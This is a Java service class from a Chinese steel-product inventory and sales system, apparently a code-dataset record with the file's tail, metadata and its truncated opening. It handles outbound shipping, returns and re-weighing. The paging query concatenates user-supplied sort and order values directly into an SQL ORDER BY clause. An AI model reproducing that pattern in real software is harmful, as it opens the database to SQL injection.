List<BslProductInfo> prodsByProdId = getOutProdsByProdId(queryCriteria.getProdId());
if(prodsByProdId != null && prodsByProdId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsByProdId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
//为了分页查询,重新查下
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
if(prods.size()>0){
criteria.andProdIdIn(prods);
if(!StringUtils.isBlank(queryCriteria.getProdOrirawid())){
criteria.andProdOrirawidEqualTo(queryCriteria.getProdOrirawid());
}
if(!StringUtils.isBlank(queryCriteria.getProdStatus())){
criteria.andProdStatusEqualTo(queryCriteria.getProdStatus());
}
if(StringUtils.isBlank(queryCriteria.getSort()) || StringUtils.isBlank(queryCriteria.getOrder())){
selectExample.setOrderByClause("`prod_status` desc,`prod_id` desc");
}else{
String sortSql = CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, queryCriteria.getSort());
if(!StringUtils.isBlank(sortSql)){
selectExample.setOrderByClause("`"+sortSql+"` "+ queryCriteria.getOrder());
}
}
// 分页处理
PageHelper.startPage(Integer.parseInt(queryCriteria.getPage()), Integer.parseInt(queryCriteria.getRows()));
// 调用sql查询
prodsSelect = bslProductInfoMapper.selectByExample(selectExample);
PageInfo<BslProductInfo> pageInfo = new PageInfo<BslProductInfo>(prodsSelect);
total = pageInfo.getTotal();
}
return BSLResult.ok(total,prodsSelect);
}
/**
* 根据通知单号查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsBySalePlanId(String salePlanId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
//产品出库单号等于对应单号
criteria.andProdOutPlanEqualTo(salePlanId);
List<BslProductInfo> prodsBySalePlanId = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySalePlanId;
}
/**
* 根据流水计划查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsBySaleSerno(String saleSerno){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
criteria.andProdSaleSernoEqualTo(saleSerno);
List<BslProductInfo> prodsBySaleSerno = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySaleSerno;
}
/**
* 根据编号查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsByProdId(String prodId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
criteria.andProdIdEqualTo(prodId);
List<BslProductInfo> prodsByProdId = bslProductInfoMapper.selectByExample(selectExample);
return prodsByProdId;
}
/**
* 发货出库
*/
@Override
public BSLResult updateSaleProdOutPut(String prodId,String salePlanId,String saleSerno,String prodCheckuser,Float prodOutWeight){
//获取该产品信息
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if(bslProductInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该产品信息");
}
if(DictItemOperation.产品类型_半成品.equals(bslProductInfo.getProdType()) && DictItemOperation.纵剪带用途_自用.equals(bslProductInfo.getProdUserType())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "自用类型的纵剪带不允许外销!");
}
if(!DictItemOperation.产品状态_已入库.equals(bslProductInfo.getProdStatus())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "非入库状态的产品无法销售出库!");
}
//如果详细计划不是空,判断是否符合规则
if(!StringUtils.isBlank(saleSerno)){
BslSaleInfoDetail bslSaleInfoDetail = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if(bslSaleInfoDetail == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该详细计划信息");
}
if(!StringUtils.isBlank(salePlanId) && !salePlanId.equals(bslSaleInfoDetail.getSalePlanId())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "所输入详细计划信息不是所输入的销售单下计划,无法出库!");
}
Map<String,String> mapResult = isOutSuccess(bslProductInfo,bslSaleInfoDetail,prodCheckuser,prodOutWeight);
if("0000".equals(mapResult.get("code"))){
return BSLResult.ok(prodId);
}else{
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误,mapResult.get("msg"));
}
}else{
//saleSerno为空则salePlanId不为空
//获取该通知单状态
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(salePlanId);
if(bslBsPlanInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该销售通知单信息");
}
/*if(DictItemOperation.通知单状态_已发货.equals(bslBsPlanInfo.getBsStatus())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该销售通知单已经发货,无法出库");
}*/
//判断销售出库单类型,若是待处理品,则直接发货
/*if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
if(!DictItemOperation.产品类型_待处理品.equals(bslProductInfo.getProdType())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该通知单只允许待处理品发货!");
}
//判断完成开始出库
Map<String,String> mapResult = isOutDclSuccess(bslProductInfo,bslBsPlanInfo,prodCheckuser,prodOutWeight);
if(!"0000".equals(mapResult.get("code"))){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该待处理品出库失败,编号:"+prodId+",原因:"+mapResult.get("msg"));
}
}else{*/
//获取该通知单下所有详细信息
BslSaleInfoDetailExample bslSaleInfoDetailExample = new BslSaleInfoDetailExample();
com.bsl.pojo.BslSaleInfoDetailExample.Criteria criteriaDetail = bslSaleInfoDetailExample.createCriteria();
criteriaDetail.andSalePlanIdEqualTo(salePlanId);
List<BslSaleInfoDetail> bslSaleInfoDetails = bslSaleInfoDetailMapper.selectByExample(bslSaleInfoDetailExample);
Boolean isOut = false;
for (BslSaleInfoDetail bslSaleInfoDetail : bslSaleInfoDetails) {
//循环校验是否满足出库条件
Map<String,String> mapResult = isOutSuccess(bslProductInfo,bslSaleInfoDetail,prodCheckuser,prodOutWeight);
if("0000".equals(mapResult.get("code"))){
isOut = true;
break;
}
}
//说明不满足出库条件
if(!isOut){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该产品不满足销售通知单指定信息,无法出库,产品编号:"+prodId);
}
}
//}
return BSLResult.ok(prodId);
}
/**
* 根据产品编号与详细计划判断是否满足,以及满足之后开始出库
*/
public Map<String,String> isOutSuccess(BslProductInfo bslProductInfo,BslSaleInfoDetail bslSaleInfoDetail,String prodCheckuser,Float prodOutWeight){
Map<String,String> map = new HashMap<String,String>();
String salePlanId = bslSaleInfoDetail.getSalePlanId();
String prodId = bslProductInfo.getProdId();
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
if(!prodId.equals(bslSaleInfoDetail.getProdId())){
map.put("code", "1111");
map.put("msg", "所输入产品信息与详细计划指定产品不符,无法出库!");
return map;
}
if(bslSaleInfoDetail.getProdSumnum() >= 1){
map.put("code", "1111");
map.put("msg", "该详细计划指定产品已经出库,无法再次出库!");
return map;
}
//满足条件开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(1);//已出库数量改为1
bslSaleInfoDetail.setProdSumweight(bslProductInfo.getProdRelWeight());//出库质量为产品实际质量
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动信息
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}else if(DictItemOperation.销售单出库标准_按数量销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
//如果是按数量出库
//校验已经出库数量是否是最大值
if(bslSaleInfoDetail.getProdSumnum() >= bslSaleInfoDetail.getSaleNum()){
map.put("code", "1111");
map.put("msg", "该详细计划指定出库数量已达最大值,无法出库!");
return map;
}
//检验规格钢种
if(!bslProductInfo.getProdNorm().equals(bslSaleInfoDetail.getProdNorm())){
map.put("code", "1111");
map.put("msg", "该产品规格与该详细计划指定出库规格不符,无法出库!");
return map;
}
if(!bslProductInfo.getProdMaterial().equals(bslSaleInfoDetail.getProdMaterial())){
map.put("code", "1111");
map.put("msg", "该产品钢种与该详细计划指定出库钢种不符,无法出库!");
return map;
}
//定尺不为空(成品出库)
if(bslSaleInfoDetail.getProdLength() != null && bslSaleInfoDetail.getProdLength() > 0){
if(!bslProductInfo.getProdLength().equals(bslSaleInfoDetail.getProdLength())){
map.put("code", "1111");
map.put("msg", "该产品定尺与该详细计划指定出库定尺不符,无法出库!");
return map;
}
}
//校验完成,开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(bslSaleInfoDetail.getProdSumnum()+1);//已出库数量+1
bslSaleInfoDetail.setProdSumweight(bslSaleInfoDetail.getProdSumweight() + bslProductInfo.getProdRelWeight());//出库质量+产品实际质量
if(bslSaleInfoDetail.getProdSumnum() == bslSaleInfoDetail.getSaleNum()){
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}else{
//如果是按重量出库
//检验规格钢种
if(!bslProductInfo.getProdNorm().equals(bslSaleInfoDetail.getProdNorm())){
map.put("code", "1111");
map.put("msg", "该产品规格与该详细计划指定出库规格不符,无法出库!");
return map;
}
if(!bslProductInfo.getProdMaterial().equals(bslSaleInfoDetail.getProdMaterial())){
map.put("code", "1111");
map.put("msg", "该产品钢种与该详细计划指定出库钢种不符,无法出库!");
return map;
}
//定尺不为空(成品出库)
if(bslSaleInfoDetail.getProdLength() != null && bslSaleInfoDetail.getProdLength() > 0){
if(!bslProductInfo.getProdLength().equals(bslSaleInfoDetail.getProdLength())){
map.put("code", "1111");
map.put("msg", "该产品定尺与该详细计划指定出库定尺不符,无法出库!");
return map;
}
}
Float saleWeightH = bslSaleInfoDetail.getSaleWeight()*1.05f;
Float saleWeightL = bslSaleInfoDetail.getSaleWeight()*0.95f;
//增加后重量
Float sumWeight = bslSaleInfoDetail.getProdSumweight() + bslProductInfo.getProdRelWeight();
if(sumWeight > saleWeightH){
map.put("code", "1111");
map.put("msg", "出库之后该计划累计出库重量大于限定重量,无法出库!");
return map;
}
//校验完成,开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(bslSaleInfoDetail.getProdSumnum()+1);//已出库数量+1
bslSaleInfoDetail.setProdSumweight(sumWeight);//出库质量+产品入库质量
if(sumWeight>=saleWeightL && sumWeight<=saleWeightH){
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-记录库存变动信息
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}
//能走到这里说明交易成功
map.put("code", "0000");
map.put("msg", "出库成功");
return map;
}
/**
* 根据产品编号与详细计划判断是否满足,以及满足之后开始出库
*/
public Map<String,String> isOutDclSuccess(BslProductInfo bslProductInfo,BslBsPlanInfo bslBsPlanInfo,String prodCheckuser,Float prodOutWeight){
Map<String,String> map = new HashMap<String,String>();
//满足条件开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(bslBsPlanInfo.getBsId());//出库指令
bslProductInfo.setProdSaleSerno("");
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
//待处理品不涉及
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(bslBsPlanInfo.getBsId());
//4-记录库存变动信息
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(bslProductInfo.getProdId());//产品编号
bslStockChangeDetail.setPlanSerno(bslBsPlanInfo.getBsId());//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(0f);//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("待处理品出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
//能走到这里说明交易成功
map.put("code", "0000");
map.put("msg", "出库成功");
return map;
}
/**
* 误发退回
*/
@Override
public BSLResult updateReBackSaleProd(String saleSerno,String prodId,String checkuser){
//获取原产品信息
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if (bslProductInfo == null) {
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "根据产品编号未查询到产品信息");
}
String salePlanId = bslProductInfo.getProdOutPlan();
// 出库待发货的才能退回
if (DictItemOperation.销售单出库标志_已发货.equals(bslProductInfo.getProdStatus())) {
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "已发货状态的产品不允许退回!");
}
//出库增加重量
Float saleWeight = bslProductInfo.getProdRelWeight();
//开始退回
//满足条件进行出库,1-产品状态变更 2-插入库存变动表
bslProductInfo.setProdStatus(DictItemOperation.产品状态_已入库);
bslProductInfo.setProdOutPlan("");
bslProductInfo.setProdSaleSerno("");
bslProductInfo.setProdOutCarno("");
bslProductInfo.setProdOutWeight(0f);
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultProd==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"修改产品状态失败");
}
//判断产品类型
Float price = 0f;
if(!DictItemOperation.产品类型_待处理品.equals(bslProductInfo.getProdType())){
// 获取原详细计划信息
BslSaleInfoDetail bslSaleInfoDetailOld = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if (bslSaleInfoDetailOld == null) {
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "根据流水号未查询到销售出库详细信息");
}
price = bslSaleInfoDetailOld.getSalePrice();
//出库完成之后修改销售出库详细状态
//判断出库标志
int resultDetail;
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetailOld.getSaleFlag())){
//如果是按编号出库
bslSaleInfoDetailOld.setProdSumnum(0);//已出库数量改为0
bslSaleInfoDetailOld.setProdSumweight(0f);//出库质量0
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_未达标准);
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}else if(DictItemOperation.销售单出库标准_按数量销售出库.equals(bslSaleInfoDetailOld.getSaleFlag())){
//如果是按质量出库
bslSaleInfoDetailOld.setProdSumnum(bslSaleInfoDetailOld.getProdSumnum()-1);//已出库数量-1
bslSaleInfoDetailOld.setProdSumweight(bslSaleInfoDetailOld.getProdSumweight() - bslProductInfo.getProdRelWeight());//出库质量-产品实际质量
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_未达标准);
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}else{
//如果是按重量出库
Float saleWeightH = bslSaleInfoDetailOld.getSaleWeight()*1.05f;
Float saleWeightL = bslSaleInfoDetailOld.getSaleWeight()*0.95f;
//减少后重量
Float sumWeight = bslSaleInfoDetailOld.getProdSumweight() - bslProductInfo.getProdRelWeight();
//2-修改该笔详细计划
bslSaleInfoDetailOld.setProdSumnum(bslSaleInfoDetailOld.getProdSumnum()-1);//已出库数量+1
bslSaleInfoDetailOld.setProdSumweight(sumWeight);//出库质量+产品入库质量
if(sumWeight>=saleWeightL && sumWeight<=saleWeightH){
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}
if(resultDetail<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultDetail==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"修改详细计划信息失败");
}
}
//退回完成之后插入库存变动流水表
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_未用退回);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(saleWeight);//重量
bslStockChangeDetail.setInputuser(checkuser);//录入人
bslStockChangeDetail.setPrice(price);//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库退回");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultStock==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"新增库存变动表失败");
}
//刷新销售出库通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
return BSLResult.ok(prodId);
}
/**
* 产品复磅
*/
@Override
public BSLResult saleProdFb(String prodId, Float prodOutWeight) {
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if(bslProductInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该产品信息");
}
//1-产品信息改为出库待发货
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultProd==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"记录复磅信息失败");
}
return BSLResult.ok(prodId);
}
/**
* 根据编号数组查询产品信息
*/
@Override
public BSLResult getByProdIds(String[] arrays) {
BslProductInfoExample bslProductInfoExample = new BslProductInfoExample();
Criteria criteria = bslProductInfoExample.createCriteria();
List<String> lists = new ArrayList<String>();
for (String string : arrays) {
lists.add(string);
}
if(lists.size()>0){
criteria.andProdIdIn(lists);
bslProductInfoExample.setOrderByClause("`prod_id` desc");
List<BslProductInfo> selectByExample = bslProductInfoMapper.selectByExample(bslProductInfoExample);
if(selectByExample == null || selectByExample.size()<=0){
return BSLResult.build(ErrorCodeInfo.错误类型_查询无记录,"根据编号未找到产品信息");
}
return BSLResult.ok(selectByExample);
}else{
return BSLResult.build(ErrorCodeInfo.错误类型_查询无记录,"根据编号未找到产品信息");
}
}
/**
* 批量发货出库
*/
@Override
public BSLResult prodOutPl(String salePlanId, String saleSerno, String prodCheckuser, String[] arrays) {
if(arrays.length<=0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"没有需要出库的产品信息!");
}
String prodId;
for (String prodIdTmp : arrays) {
prodId = prodIdTmp;
//循环调用出库方法
BSLResult updateSaleProdOutPut = updateSaleProdOutPut(prodId,salePlanId,saleSerno,prodCheckuser,0f);
if(updateSaleProdOutPut.getStatus()!= 200){
return updateSaleProdOutPut;
}
}
return BSLResult.ok();
}
}
|
UTF-8
|
Java
| 42,563 |
java
|
SaleProdServiceImpl.java
|
Java
|
[] | null |
[] |
package com.bsl.service.sale.impl;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import com.bsl.common.pojo.BSLException;
import com.bsl.common.utils.BSLResult;
import com.bsl.dao.JedisClient;
import com.bsl.mapper.BslBsPlanInfoMapper;
import com.bsl.mapper.BslProductInfoMapper;
import com.bsl.mapper.BslSaleInfoDetailMapper;
import com.bsl.mapper.BslStockChangeDetailMapper;
import com.bsl.mapper.BslWasteWeightInfoMapper;
import com.bsl.pojo.BslBsPlanInfo;
import com.bsl.pojo.BslProductInfo;
import com.bsl.pojo.BslProductInfoExample;
import com.bsl.pojo.BslProductInfoExample.Criteria;
import com.bsl.pojo.BslSaleInfoDetail;
import com.bsl.pojo.BslSaleInfoDetailExample;
import com.bsl.pojo.BslStockChangeDetail;
import com.bsl.select.DictItemOperation;
import com.bsl.select.ErrorCodeInfo;
import com.bsl.select.QueryCriteria;
import com.bsl.service.sale.SaleDetailService;
import com.bsl.service.sale.SalePlanService;
import com.bsl.service.sale.SaleProdService;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.google.common.base.CaseFormat;
/**
* 销售出库产品管理实现类 duk-20190319
*/
@Service
public class SaleProdServiceImpl implements SaleProdService {
@Autowired
BslBsPlanInfoMapper bslBsPlanInfoMapper;
@Autowired
BslSaleInfoDetailMapper bslSaleInfoDetailMapper;
@Autowired
BslWasteWeightInfoMapper bslWasteWeightInfoMapper;
@Autowired
BslProductInfoMapper bslProductInfoMapper;
@Autowired
BslStockChangeDetailMapper bslStockChangeDetailMapper;
@Autowired
SalePlanService salePlanService;
@Autowired
SaleDetailService saleDetailService;
@Autowired
private JedisClient jedisClient;
@Value("${REDIS_NEXT_STOCKCHANGE_ID}")
private String REDIS_NEXT_STOCKCHANGE_ID;
/**
* 库存变动流水自动生成编号 CH+日期+4位序号
*
* @return
*/
public String createStockChangeId() {
long incr = jedisClient.incr(REDIS_NEXT_STOCKCHANGE_ID);
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
String rawId = String.format("CH%s%04d", sdf.format(new Date()), incr);
return rawId;
}
/**
* 根据条件查询可以出库的产品信息
*/
@Override
public BSLResult getCanOutProdsService(QueryCriteria queryCriteria) {
List<BslProductInfo> prodsSelect = new ArrayList<BslProductInfo>();
long total = 0;
List<String> prodIds = new ArrayList<String>();
//根据三个条件分别查询,然后取交集
if(!StringUtils.isBlank(queryCriteria.getSalePlanId())){
List<BslProductInfo> prodsBySalePlanId = getProdsBySalePlanId(queryCriteria.getSalePlanId());
if(prodsBySalePlanId != null && prodsBySalePlanId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySalePlanId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getSaleSerno())){
List<BslProductInfo> prodsBySaleSerno = getProdsBySaleSerno(queryCriteria.getSaleSerno());
if(prodsBySaleSerno != null && prodsBySaleSerno.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySaleSerno) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getProdId())){
